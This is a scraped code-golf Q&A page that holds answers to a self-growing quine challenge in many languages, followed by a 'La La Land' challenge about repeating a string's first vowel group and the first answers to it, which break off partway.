Evoloop, but Evoloop has an interesting difference, which is that it's easy to create a pattern which grows in each successive generation. (Much *more* interesting, in my opinion, is the fact that Evoloop is a simple cellular automaton which contains patterns which reproduce themselves and evolve in a very life-like manner! I think the only known cellular automata which do this are Evoloop and its descendants. A shortcoming of Evoloop, however, is that there is one particular "best" genome; evolution always eventually converges to this one genome.) Now, there are two shortcomings to this submission. One is that it's not clear what the "output" of a cellular automaton is. But I think that a self-reproducing automaton is "close enough" to being a quine; it's certainly no less interesting! The other shortcoming is that these patterns don't merely create a single copy of themselves; *each* copy of the original pattern attempts to create infinitely many copies of itself, and these copies end up interacting with each other in a destructive manner. So, I think I've met the requirements of this challenge in spirit, but not in letter. Without further ado, the pattern is: ``` 022222220 270170172 212222202 202000212 272000272 212000202 202222212 271041032 022222250 ``` Here's the pattern again, in a format that can be copied and pasted into Golly: ``` x = 9, y = 9, rule = Evoloop .7B$BG.AG.AGB$BA5B.B$B.B3.BAB$BGB3.BGB$BAB3.B.B$B.5BAB$BGA.DA.CB$.6BE ! ``` Okay, but what does it look like? It looks like this: [![A pattern in a cellular automaton which creates increasingly large copies of itself.](https://i.stack.imgur.com/0aQG9.gif)](https://i.stack.imgur.com/0aQG9.gif) In the above animation, you can see the initial pattern create a larger daughter, which creates a larger granddaughter, then a larger great-granddaughter, and finally an even larger great-great-granddaughter which starts to construct a yet larger third-great-granddaughter. If you ran this pattern for a long time, it would keep going on like this forever (or perhaps they would eventually be overtaken by the evolved organisms, which are capable of reproducing much faster; I'm not sure). [Answer] # SH script, 12 8 7 Store a file with ``` sed p * ``` in its own, empty directory and run from this directory using `sh [file]` or set executable. --- Old alternative with **8 characters**, but doesn't need its own directory. Store a file with ``` sed p $0 ``` and run using `sh [file]` or set executable. Old alternative with **12 characters**: ``` sed -i- p $0 ``` This will actually output to the program file itself, but where to output was not specified. Replicates itself at an exponential rate. [Answer] # JavaScript, 41, 40 chars ``` function f(){console.log(f+"f(f())")}f() ``` The first time you run it it outputs itself with another `;f()` at the end. Subsequent runs of the output results in each "input" source printed twice. `alert` would be shorter than `console.log` but I don't consider multiple alert dialogs to be "the" output while it seems reasonable to call multiple lines in the console as an output. [Answer] # [Runic Enchantments](https://github.com/Draco18s/RunicEnchantments/tree/Console), 6 bytes ``` "'<S@> ``` [Try it online!](https://tio.run/##KyrNy0z@/19J3SbYwe7/fwA "Runic Enchantments – Try It Online") This one was weird. All I had to do was remove a `~` from the original quine [found by Jo King](https://codegolf.stackexchange.com/a/172877/47990). Every additional run appends another `<` to the end, e.g.: ``` "'<S@><<<<<<<<< ``` All of which do nothing. [Answer] # Microscript II, 6 bytes ``` "qp"qp ``` The first iteration adds an extra `qp` to the end, and each successive iteration adds an extra copy of this original program to the beginning. [Answer] # Windows .BAT, 25 ``` @COPY %~nx0+%~nx0 CON>NUL ``` Grows at exponential rate. Equivalent SH version [here](https://codegolf.stackexchange.com/a/21929/16504). [Answer] **ECMAScript 6 (38 Characters)** ``` (f=_=>'(f='+f+')();(f='+f+')();')(); ``` Which outputs: ``` (f=_=>'(f='+f+')();(f='+f+')();')();(f=_=>'(f='+f+')();(f='+f+')();')(); ``` **Edit** You could do (28 characters): ``` (f=_=>'(f='+f+')();'+f())(); ``` However it will recurse infinitely and never return anything... but this can be solved by doing something like this (42 characters): ``` (f=_=>_?'(f='+f+')('+_+');'+f(_-1):'')(3); ``` Which will output: ``` (f=_=>_?'(f='+f+')('+_+');'+f(_-1):'')(3);(f=_=>_?'(f='+f+')('+_+');'+f(_-1):'')(2);(f=_=>_?'(f='+f+')('+_+');'+f(_-1):'')(1); ``` [Answer] # Julia, 66 chars ``` x="print(\"x=\$(repr(x))\\n\$x;\"^2)";print("x=$(repr(x))\n$x;"^2) ``` Output (134 chars): ``` x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2); ``` Result of executing the result (268 chars): ``` x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2); ``` next result (536 chars): ``` x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2); ``` Next result (1072 chars): ``` x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2);x="print(\"x=\$(repr(x))\\n\$x;\"^2)" print("x=$(repr(x))\n$x;"^2); ``` I hope this is according to the rules. It produces larger output, and the output itself is valid source code that produces larger output again. [Answer] # [Husk](https://github.com/barbuz/Husk), ~~15~~ 11 bytes *-4 bytes thanks to Unrelated String* ``` S+s"So+uswg ``` [Try it online!](https://tio.run/##yygtzv7/P1i7WCk4X7u0uDz9/38A "Husk – Try It Online") Outputs `So+uswg"So+uswg"` then `S o+uswg"S o + u s w g"` then `S o+uswg"S o + u s w g"`... This is a variant of the usual quine `S+s"S+s"` but with increasing spaces between each character in the string. Currently there's a bug in the parser that prevents double spaces in the code itself, otherwise this could forgo the `u`nique stripping out spaces in the code section and could be [9 bytes](https://tio.run/##yygtzv7/P1i7WAmIy9P//wcA). [Answer] # Common Lisp, 16 Characters `(print `(or ,-))` Granted, it's interactive-only, but being able to reference the current top-level form is probably the single best way to minimize a non-trivial program that meets the specification. What would be really interesting is what blows up the fastest. Maybe something like `(print `(progn ,@(loop repeat (length -) collect -)))` [Answer] # reticular, 11 bytes, noncompeting ``` "'34'coo1o; ``` This is the standard quine framework, except an extra `1` is printed after each iteration. [Try it online!](http://reticular.tryitonline.net/#code=IiczNCdjb28xbzs&input=) First few outputs: ``` "'34'coo1o; "'34'coo1o;1 "'34'coo1o;11 "'34'coo1o;111 ``` [Answer] # 05AB1E, 15 bytes, noncompeting ``` 0"DÐ34çý"DÐ34çý ``` [Try it online!](http://05ab1e.tryitonline.net/#code=MCJEw5AzNMOnw70iRMOQMzTDp8O9&input=) Prints `0"DÐ34çý"DÐ34çý"DÐ34çý"DÐ34çý`, which prints `0"DÐ34çý"DÐ34çý"DÐ34çý"DÐ34çý"DÐ34çý"DÐ34çý"DÐ34çý"DÐ34çý`, etc. [Answer] # [J](http://jsoftware.com/), 1 byte ``` ' ``` [Try it online!](https://tio.run/##y/rv56SnoKSnoJ6mYGulrqCjUGulYKAAxP/VwVKa/wE "J – Try It Online") The open quote gives, obviously, the open quote error: ``` |open quote | ' | ^ |[-1] /home/runner/.code.tio ``` Note that, by the nature of J interpreter, **the errors are printed to STDOUT**, not STDERR. When the above is run as code, it prints: ``` |open quote | | ' | ^ |[-2] /home/runner/.code.tio ``` Then ``` |open quote | | | ' | ^ |[-2] /home/runner/.code.tio ``` and so on. Each time the code runs, the second line is left-padded with four bytes `|`, fulfilling the requirement of this challenge. # [J](http://jsoftware.com/), proper quine variant, 25 bytes ``` echo,~'echo,:~(,quote)''' ``` [Try it online!](https://tio.run/##y/rv56SnoKSnoJ6mYGulrqCjUGulYKAAxP9TkzPyderUwZRVnYZOYWl@Saqmuro6WIvmfwA "J – Try It Online") Outputs ``` echo,:~(,quote)'echo,:~(,quote)' ``` And then it outputs itself twice, on separate lines: ``` echo,:~(,quote)'echo,:~(,quote)' echo,:~(,quote)'echo,:~(,quote)' ``` then ``` echo,:~(,quote)'echo,:~(,quote)' echo,:~(,quote)'echo,:~(,quote)' echo,:~(,quote)'echo,:~(,quote)' echo,:~(,quote)'echo,:~(,quote)' ``` and so on. The first output is a simple variant of [standard J quine](https://codegolf.stackexchange.com/a/171826/78410). The added `,:~` concatenates itself vertically, where the resulting 2D array is printed as two rows of the same string. [Answer] # [Python 2](https://docs.python.org/2/), ~~38~~ ~~37~~ ~~36~~ 34 bytes -1 bytes thanks to Jo King ``` s='print"s=%r;exec s;"%s+s';exec s ``` [Try it online!](https://tio.run/##K6gsycjPM/r/v9hWvaAoM69EqdhWtcg6tSI1WaHYWkm1WLtYHcr7/x8A "Python 2 – Try It Online") --- # [Python 3.8 (pre-release)](https://docs.python.org/3.8/), ~~39~~ ~~38~~ 36 bytes ``` exec(s:='print("exec(s:=%r);"%s+s)') ``` [Try it online!](https://tio.run/##K6gsycjPM7YoKPr/P7UiNVmj2MpWvaAoM69EQwnGVy3StFZSLdYu1lTX/P8fAA "Python 3.8 (pre-release) – Try It Online") [Answer] # EcmaScript 6 (51 bytes): ``` (_=x=>'(_='+_+Array(x++).join(','+_)+')('+x+')')(2) ``` It produces a longer version of itself, which can produce a longer version of itself, which can produce a longer version of itself, etc. ... [Answer] # [Underload](https://esolangs.org/wiki/Underload), 9 bytes ``` (:::aSSS):^ ``` Modification on the standard underload quine, which is `(:aSS):aSS`. First, I changed the second `:aSS` into `:^` since it still runs the same code (by duplicating and then running the top item of the stack, which is the stuff inside the bracket) whilst saving bytes. Then I added another `S` to make it so the program gets longer, and added two more `:`s to make it so the program it produces doesn't error. [Try it Online!](https://tio.run/##K81LSS3KyU9M@f9fw8rKKjE4OFjTKu7/fwA) [Answer] # [Japt](https://github.com/ETHproductions/japt), 12 bytes ``` "iQ ²Ä"iQ ²Ä ``` [Try it online!](https://tio.run/##y0osKPn/XykzUOHQpsMtMPr/fwA "Japt – Try It Online") Based off the [Standard Japt quine](https://codegolf.stackexchange.com/questions/69/golf-you-a-quine-for-great-good/71932#71932) ## Explanation For first iteration ``` "iQ ²Ä" // Take this string. iQ ²Ä iQ // Insert a quote. "iQ ²Ä ² // Double. "iQ ²Ä"iQ ²Ä Ä // Concatenate 1 to end "iQ ²Ä"iQ ²Ä1 // Implicitly output. ``` On Each iteration it will concatenate another `1` to the end of the program [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 4 bytes ``` ⁾ṘȮv ``` [Try it online!](https://tio.run/##y0rNyan8//9R476HO2ecWFf2/z8A "Jelly – Try It Online") Originally written for a CMC in JHT. ``` ⁾ṘȮ "ṘȮ" v evaluated with the argument ⁾ṘȮ "ṘȮ". Ṙ Print a Jelly string representation of the argument, Ȯ print the argument, then implicitly print it again. ``` ]
[Question] [ This challenge is a tribute to the winner of Best Picture at the Oscars 2017, [~~La La Land~~ Moonlight](http://www.independent.co.uk/a7598151.html)! --- Write a function/program that takes a string containing only letters `[A-Za-z]`, the four symbols that are common in every day sentences `.,'?` and spaces, and outputs the string in the style of La La Land. To be more specific, take the letters up to, and including, the first vowel group, and print/output it twice adding a space each time, then print/output the whole string. *[y is a vowel](https://en.oxforddictionaries.com/explore/is-the-letter-y-a-vowel-or-a-consonant)* in this challenge. Punctuation and capitalization should be kept. You may assume that all strings contain at least one vowel, and that all strings start with a letter. **Test cases:** ``` Land La La Land Moonlight Moo Moo Moonlight quEueIng quEueI quEueI quEueIng This isn't a single word. Thi Thi This isn't a single word. It's fun to play golf I I It's fun to play golf Ooo Ooo Ooo Ooo I'm okay I I I'm okay Hmm, no. There will be at least one vowel, but it can be anywhere. Hmm, no Hmm, no Hmm, no. There will be at least one vowel, but it can be anywhere. Why is y a vowel? Why Why Why is y a vowel? ``` This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") so the shortest code in each language wins. [**Explanations are encouraged**](http://meta.codegolf.stackexchange.com/questions/10127/how-can-we-help-users-who-are-put-off-by-the-use-of-golfing-languages/10132#comment32351_10132), also in mainstream languages. [Answer] ## Sed 30 bytes ``` s/[^aeiouy]*[aeiouy]\+/& & &/i ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~23~~ ~~19~~ 18 bytes Saved 1 byte thanks to *Okx*. ``` Dlð«žOsSåJTk>£D¹ðý ``` [Try it online!](https://tio.run/nexus/05ab1e#ASUA2v//RGzDsMKrxb5Pc1PDpUpUaz7Co0TCucOww73//3F1ZXVlaW5n) or as a [Test suite](https://tio.run/nexus/05ab1e#Hcs7DoJAFEbhflbxdzSEJVhZiNFYyAYGGWDi5V5lBsgk7sZY2bABLSSuCx/tyfkufZiXNI2v@/u5c/vpts6Oi9d1GaZxeszxvNFcqK0Ik61qr86d6YzlSmW1dbCOIw8N9y1kMEhbJCr1kUPZMbzgRDqgEirVTkSlUQM56qBWTRODJUFWm/brLBFyA@1BRjsPYYNeBkMx8s7Dehw0/w8Ow48kHw) **Explanation** ``` Dl # create a lowercase copy of implicit input ð« # append a space žO # push the vowels s # swap lowercase input to the top of the stack S # split into a list of chars å # check each char for membership in the vowel-string # (creates a list with 1 at the index of vowels and 0 for non-vowels) J # join to string Tk # find the index of 10 > # increment £ # take that many items from input D # duplicate this string ¹ # push input ðý # join the strings by space ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~24 22 20 19~~ 14 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) -5 bytes by utilising a trick from Emigna's [brilliant answer](https://codegolf.stackexchange.com/a/111488/53748) (look for 10 in the isVowel list) ``` ;⁶e€Øyw⁵ḣ@;⁶Ȯ; ``` **[Try it online!](https://tio.run/nexus/jelly#@2/9qHFb6qOmNYdnVJY/atz6cMdiB5DQiXXW////VwrKqCzJyFUCAA)** (not quite sure how to make a test suite for this full program) --- **15** byte alternative: ``` ;⁶e€Øyw⁵ḣ@;⁶ẋ2; ``` **[Here](https://tio.run/nexus/jelly#HYshDsJAEEWv8lNT01RgMUhIIBgMIYgFpu2G7QywW5pKMAgugMdiIQTbk9CLlC3u5b3/235zelFzftS3qmxOz@/7PujU93Pt9dv64su8bRfBWPEmiIKJCBudZs7zvqCCNKceZ5m20JZDBwXrnSGUctjEvo1caJEUDCfYGVUhFZN4PxXpaphDtqryOMzzCCwxZhkd/F8bgxVBORhS1kGYcJSSTIRV4aAd1or/C67K7hIHyx8)** is full test suite. ### How? ``` ;⁶e€Øyw⁵ḣ@;⁶Ȯ; - Main link: string s ⁶ - space character ; - concatenate to s (for all vowel edge case) Øy - vowels + y yield e€ - exists in? for €ach (gives a list of isVowel identifiers) ⁵ - 10 w - index of first sublist (with implicit decimalisation of 10 to [1,0]) ḣ@ - head with reversed @rguments (start of word up to & including vowel group) ⁶ - space character ; - concatenate (start of word up to & including vowel group plus a space) Ȯ - print and yield (hence a full program... - ...the alternative ẋ2 repeats instead in order to return the result) ; - join with the input, s - implicit print (of the second repetition and input string) ``` [Answer] # Python, 61 bytes ``` import re;lambda x:re.sub('(.*?[aeiouy]+)',r'\1 \1 \1',x,1,2) ``` Here comes the first non-regex-based language (using regex). Saved 1 byte thanks to [Neil](/users/17602/neil). [Answer] # JavaScript (ES6), 40 ~~46~~ **Edit** 5+1 bytes saved thx @Arnauld Overly long compared to other using the same trick (as usual) ``` x=>x.replace(/.*?[aeiouy]+/i,'$& $& $&') ``` ``` let f= x=>x.replace(/.*?[aeiouy]+/i,'$& $& $&') test=`Land La La Land Moonlight Moo Moo Moonlight queueing queuei queuei queueing This isn't a single word. Thi Thi This isn't a single word. It's fun to play golf I I It's fun to play golf Ooo Ooo Ooo Ooo I'm okay I I I'm okay Hmm, no. There will be at least one vowel, but it can be anywhere. Hmm, no Hmm, no Hmm, no. There will be at least one vowel, but it can be anywhere.` test.split(`\n\n`).forEach(z=>{ var [i,k]=z.split(`\n`),x=f(i); console.log(k==x ? 'OK':'KO',i+'\n'+x); }) ``` [Answer] ## [Retina](https://github.com/m-ender/retina), 24 bytes ``` i`^.*?[aeiouy]+ $& $& $& ``` [Try it online!](https://tio.run/nexus/retina#HcgxCgIxEAXQfk7xCzWisFewlAXFxk6UHdhsdjDOqEmQnD6K8Kq3XO@HJsOt2@wu7MVKvW5pscJfawfWkY5mGiXMmV7FFy8a6DxLgiR1GYz0m@jxsffYUZ9dwlQU2fCMXBEsTnQyo949YHeuXw "Retina – TIO Nexus") [Answer] ## Batch, 180 bytes ``` @echo off set/ps= set v=aeiouy set g=c set t= :l call set w=%%v:%s:~,1%=%% if %v%==%w% goto %g% set g=o :c set t=%t%%s:~,1% set s=%s:~1% goto l :o echo %t% %t% %t%%s% ``` Implements a state machine. `g` keeps track of whether we've ever seen a vowel, so if the current letter isn't a vowel we know whether to output or continue with the next letter. [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), ~~46~~ ~~47~~ ~~41~~ ~~39~~ 38 bytes ``` $args-replace"^.*?[aeiouy]+",(,'$&'*3) ``` [Try it online!](https://tio.run/##NY9PSwMxEMXv/RSPsDRa1714lp4KFhQvBQ@ikLazSTCbqfnjEsTPvsa6vc2P92bemxOPFKIh56amv/@eGhV0vA10cupA4r1brV8VWc7l7Ua0V61slnJ1dz39LBbLpod4VP4o/scnZu@sNmnmz7zJtPV6xp2xETZ6maAQrdeOMHI4drO@TTKizx6JUcMLNLt@1p6ZLy45gD9UmfFhGFp47rAzFOo96xz2BJXgSMUE9oSv@qFrsc8JNuGg/Nnhy/i3ckl/MaWWQ6ndzv61mH4B "PowerShell – Try It Online") Thanks to Maarten Bamelis for the bugfix Saved 6 bytes thanks to Rynant Saved ~~2~~ 3 bytes thanks to Joey [Answer] # Ruby, ~~31~~ ~~32~~ 30 Bytes ``` ->s{(s[/.*?[aeiouy]+/i]+' ')*2+s} ``` Two bytes saved thanks to G B and Cyoce. [Answer] # PHP, ~~55~~ 54 bytes Note: encoded version uses IBM-850 encoding. ``` echo preg_filter("/^(.*?[aeiouy]+)/i","$1 $1 $0",$argn); echo preg_filter(~ðíÎÐı└ñ×ÜûÉèåóÈÍðû,~█╬▀█╬▀█¤,$argn); # Encoded ``` Run like this: ``` echo "This isn't a single word." | php -nR 'echo preg_filter(~ðíÎÐı└ñ×ÜûÉèåóÈÍðû,~█╬▀█╬▀█¤,$argn);' ``` # Explanation Just a regex replace with non-eager matching any character at the start of the string, followed by any amount of vowels (use [`i` option](http://php.net/manual/en/regexp.reference.internal-options.php) for case insensitivity). That capture group is then printed twice, followed by the entire string. # Tweaks * Saved a byte by using `-R` to make `$argn` available (Thx Titus) [Answer] # Javascript (ES6), 38 bytes ``` x=>(y=/.*?[aeiouy]+/i.exec(x)+' ')+y+x ``` ``` f= x=>(y=/.*?[aeiouy]+/i.exec(x)+' ')+y+x ``` ``` <!-- snippet demo: --> <input list=l oninput=console.log(f(this.value))> <datalist id=l><option value=Land> <option value=Moonlight> <option value=queueing> <option value="This isn't a single word."> <option value="It's fun to play golf"> <option value=Ooo> <option value="I'm okay."> <option value="Hmm, no. There will be at least one vowel, but it can be anywhere."> <option value="Why is y a vowel?"> ``` [Answer] # Perl, 25 + 1 (`-p` flag) ``` s/.*?[aeiouy]+/$& $& $&/i ``` [Answer] # [Perl 6](https://perl6.org), 30 bytes ``` {S:i/.*?<[aeiouy]>+/{$/xx 3}/} ``` [Try it online!](https://tio.run/nexus/perl6#Ky1OVSgz00u25sqtVFBLU7D9Xx1slamvp2VvE52YmplfWhlrp61fraJfUaFgXKtf@784sVIhTUHJNz8/LyczPaNEyZoLKuSpnquQn51YiRDxz89Xsv4PAA "Perl 6 – TIO Nexus") [Answer] # C, ~~202~~ ~~196~~ ~~195~~ ~~193~~ ~~190~~ 180 `i,j,k,m,n;f(char*a){if((a[i/12]-"AEIOUY"[i++%6])%32==0)k=n=24-(i%12);else if(k&&!n--){m=j=(i-13)/12;for(i=0;i<j*2;)printf("%c%c",a[i%j],(i==j-1)*32),i++;printf(" %s", a);}m?:f(a);}` [Try it online!](https://tio.run/nexus/c-gcc#VVDLasMwELznK7YCBymRU9vpKa4IPRTaUy/toYQcFCPj9UMustwQSj6753RtmhYPLEgzu7PDXlBFaakiWVE1VJb@s5xnhXYLLb5mQMCc6x3exsleKfbw@Pzy9q4Ntv2J7XC5DIgXY9@ASlmV3IUciRbpSJu6M386eVXz@Y0Nw1/zKxpVKo5hvBa0KJ1IQ8YJkbeOp3hfLpJUTATCh0Prc86CLMiYpNxBuZcclSrDWGzXySYSklJPDa9DEHRMghb/6nl8NdsN3YDo84UaodFoOeWnQ7GnppFg2xW8FsYZOGJdw8GA9lAb3XlorYHP9mhqCYfeA3rItB077Ok4jKwY@dIWZ3zvLETDkm/bhpnOCvMD) --- Thing left to golf: •Collapse two printf into one. •Printing my space char can be changed into `%*c` logic I'm sure. •I'm using conditionals which can be removed somehow •`j=(i-13)/12` can likely be shortened. •[A-Y] conditional checks if `==0` which is usually un-necessary, though I'm currently stuck on that one (tried switching if-else and ditching the `==0` altogether but that requires adding more {brackets} and increase byte size) --- Tricks I've used to golf this down: •Combined a double for loop string search by using modulo for x-axis and integer-division for y-axis (input string vs vowel string). (X-axis is looped twice before iterating once on y-axis; the first time with [A-Z] and the second time with [a-z] using character value 32 differential. •Bypassed having to use "[A-Y] and [a-y]" by just taking the distance between character sets and modulo 32. That way if the distance is 0 (A-A) or if the distance is 32 (a-A) •Re-using integer variables that are no longer in use as boolean variables. •Recursively calling a function with the same string to process through it and avoid a second for-loop. •Set BOOL values to the logic of setting another variable. (e.g. bool = i=5;) to knock out both with one stone. •Ternary empty-true exploit abuse. (GCC) --- Readable Format: ``` i,j,k,m,n; f(char*a){ if((a[i/12]-"AEIOUY"[i++%6])%32==0) k=n=24-(i%12); else if(k&&!n--){ m=j=(i-13)/12; i=0; for(;i<j*2;) printf("%c%c",a[i%j],(i==j-1)?32:0),i++; printf(" %s", a); } m?:f(a); } ``` --- Knocked off 10 bytes thanks to Keyu Gan (in comments) [Answer] # [V](https://github.com/DJMcMayhem/V), ~~21~~, 20 bytes ``` é /ã[aeiouy]«“. 3ä|< ``` [Try it online!](https://tio.run/nexus/v#@394pYL@4cXRiamZ@aWVsYdWH5qsx2V8eEmNzf//4RmVCpnFCpUKiQpl@eWpOfYA "V – TIO Nexus") Explanation: ``` é " Insert a space / " Jump forward too... ã[aeiouy]«. " The first non-vowel after a vowel 3ä " Make three copies of | " Everything from the cursor to the first character < " Delete the space we inserted ``` Hexdump: ``` 00000000: e920 2fe3 5b61 6569 6f75 795d ab93 2e0a . /.[aeiouy].... 00000010: 33e4 7c3c 3.|< ``` Alternate version (21 bytes): ``` Í㨃[aeiouy]«©/± ± & ``` [Try it online!](https://tio.run/nexus/v#HY4xbsJAFET7f4qpcIPMEWhBSpTGUoooxRI@9irr/xN2F2tLlJpT0ICocoX1wZyNpalm3mhmGi/jNd/yz5thqzG950e@5/Mq/6JoMU1PRvZEz6ribNsFou/Ika20RE1nPayXKsDAF8sxBj3ua6JtqDwOURAUX84ktOoORC@qJat66KdJRJu@X0K0RtPxsXStc9gxTIBj4wNUGCcd2C2xiwE24MPITEga/itl6bVL5QNSuTCj6z8 "V – TIO Nexus") This uses ridiculous regex compression, and it still manages to get it's butt kicked by the other golfing languages. For reference, this is about two/thirds the length of the regular "uncompressed" version, namely: ``` :%s/\v\c(.{-}[aeiou]).*/\1 \1 & ``` Explanation: ``` Í " Replace on every line: ã " Case-insensitive ¨ © " Capture-group 1 <131> " Any character, any number of times (non-greedy) [aeiouy]« " A vowel, repeated once or more <129> " Followed by anything / " Replaced with: ± ± " Capture group one twice, with spaces between & " The whole matched pattern ``` Here is a hexdump: ``` 00000000: cde3 a883 5b61 6569 6f75 795d aba9 812f ....[aeiouy].../ 00000010: b120 b120 26 . . & ``` [Answer] # [Python 3](https://docs.python.org/3/), ~~75~~ 68 bytes ``` lambda s:(s[:[x in"aAeEiIoOuUyY"for x in s][1:].index(0)+1]+" ")*2+s ``` [Try it online!](https://tio.run/nexus/python3#@59mm5OYm5SSqFBspVEcbRVdoZCZp5TomOqa6ZnvXxqqlJZfpAASUyiOjTa0itXLzEtJrdAw0NQ2jNVWUlDS1DLSLuYqKMrMK9FI01DyScxLUdLU/P8fAA "Python 3 – TIO Nexus") Explanation: Works by generating a boolean value for every character in the input string based on whether or not it is a vowel, and finding the lowest index of `0`, the first non-vowel (excluding the first character). It returns the substring to this index twice,separated by spaces, and the original string. [Answer] # Clojure, ~~192~~ ~~188~~ 181 bytes ``` (fn[p](let[[f] p v #(#{\a \e \i \o \u \y}(Character/toLowerCase %))[q r](split-with(if(v f)v #(not(v %)))p)[w _](split-with v r)as #(apply str %)](str(as(repeat 2(str(as q)(as w) \ )))p))) ``` -4 bytes by inlining `first-sp-pred` (whoops). -7 bytes by removing some missed spaces This was far more challenging than I thought it would be going in! I'm manually parsing the string...since I still haven't gotten around to learning regex :/ See pre-golfed code for breakdown: ``` (defn repeat-prefix-cons [phrase] (let [[first-letter] phrase ; Get first letter ; Function that checks if a lowercased character is a part of the vowel set vowel? #(#{\a \e \i \o \u \y} (Character/toLowerCase %)) ; cons(onant)? Negation of above cons? #(not (vowel? %)) ; Decide how to split it depending on if the first character is a vowel first-sp-pred (if (vowel? first-letter) vowel? cons?) ; Split off the first chunk of cons/vowels [pre1 r] (split-with first-sp-pred phrase) ; Split off the rest of the vowels [pre2 r2] (split-with vowel? r) ; Shortcut function that turns a list into a string (Basically (join "" some-list-of-strings) ) as #(apply str %)] (str ; ... then concat the prefix in front of the original phrase, and return (as ; ...then turn it back into a string since "repeat" returns a list... ^ (repeat 2 ; ... then repeat it twice (shame Clojure doesn't have string multiplication)... ^ (str (as pre1) (as pre2) \ ))) ; Concat the 2 prefix parts together with an space at the end... ^ phrase))) ``` [Answer] # [Python 3](https://docs.python.org/3/), ~~101~~ 96 bytes ``` s=input() v=i=0 for c in s: w=c in'aAeEiIoOuUyY' if v*~-w:break v=w;i+=1 print(s[:i],s[:i],s) ``` [Try it online!](https://tio.run/nexus/python3#@19sm5lXUFqioclVZptpa8CVll@kkKyQmadQbMWlUG4LYqonOqa6Znrm@5eGVkaqcylkpimUadXpllslFaUmZnMplNmWW2dq2xpyFRRl5pVoFEdbZcbqQEnN///98/MB "Python 3 – TIO Nexus") a non-regex solution --- Commented: ``` s=input() a='aAeEiIoOuUyY' v=i=0 for c in s: # for each character in the string w=c in a # w = True if the character is a vowel, else false # true is equivalent to 1 and false to zero # v*(w-1) evaluates only to true (-1 in this case) if v=1 (last character was a vowel) and w=0 (current character is not a vowel) if v*(w-1):break # if so, break the loop v=w;i+=1 # increase the counter and set v to w print(s[:i],s[:i],s) ``` [Answer] # PHP, ~~69 65~~ 53 bytes ``` <?=preg_filter("#.*?[aeiouy]+#i","$0 $0 $0",$argn,1); ``` requires PHP 5.3 or later. Run as pipe with `-F` or [try some versions online](http://sandbox.onlinephpfunctions.com/code/40734d429b3f87f8e1dfaf75f838301f9ea81379). Saved 4 bytes (and fixed the code) with regex stolen from @aross; 10 more with `preg_filter` instead of `preg_match` and `-F` and another two with an improved regex. **~~75~~ 81 bytes** for a non-regex version: ``` for(;$c=$argn[$i++];)($k+=$k^!trim($c,aeiouyAEIOUY))>1?:$w.=$c;echo"$w $w $argn"; ``` requires PHP 5 or later; replace `?:` with `?1:` for older PHP. Run with `-nR` **Breakdown** ``` for(;$c=$argn[$i++];) // loop $c through input characters ($k+=$k^! // 2. !$k and vowel or $k and not vowel: increment $k trim($c,aeiouyAEIOUY) // 1. strip vowels -> vowel=false, non-vowel=true )>1 // 3. if $k>1 ? // do nothing :$w.=$c; // else append $c to $w echo"$w $w $argn"; // output ``` [Answer] ## R, 49bytes `sub("(.*?[aeiouy]+)","\\1 \\1 \\1",scan(,""),T,T)` Regex based replace, match everything until not a vowel, capture and replace it by itself 3 times. `scan` wait for a `double` type input, to tell it to use `character` type we have to give it two arguments, first is the default , emtpy string for stdin, and for the second the R evaluation allow to use only `c` as it's not ambiguous for `character` in this context. `T` stands for `TRUE` and save some char as 4th and 5th parameter to sub to tell it to ignore case and use PCRE (the greedyness is not the same with R regex syntax) 4 bytes saved courtesy of 